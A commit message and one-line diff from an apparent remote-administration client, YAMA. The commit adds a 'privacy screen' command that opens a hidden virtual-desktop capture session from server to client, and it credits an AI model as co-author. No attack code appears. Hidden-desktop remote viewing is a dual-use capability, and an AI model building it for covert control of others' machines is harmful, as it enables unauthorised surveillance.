Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)

Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro

common/commands.h

@@ -323,6 +323,7 @@ enum {
     COMMAND_CHAT = 161,             // 服务端 → 客户端：发起远程交谈（双向聊天）
     COMMAND_MACHINE_MANAGE = 162,   // 服务端 → 客户端：打开主机管理对话框
     COMMAND_FILE_MANAGER_PLUGIN = 163,   // 服务端 → 客户端：打开插件文件管理对话框（SimplePlugins 迁移）
+    COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端：打开隐私屏幕（虚拟桌面，SimplePlugins 迁移）
 
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表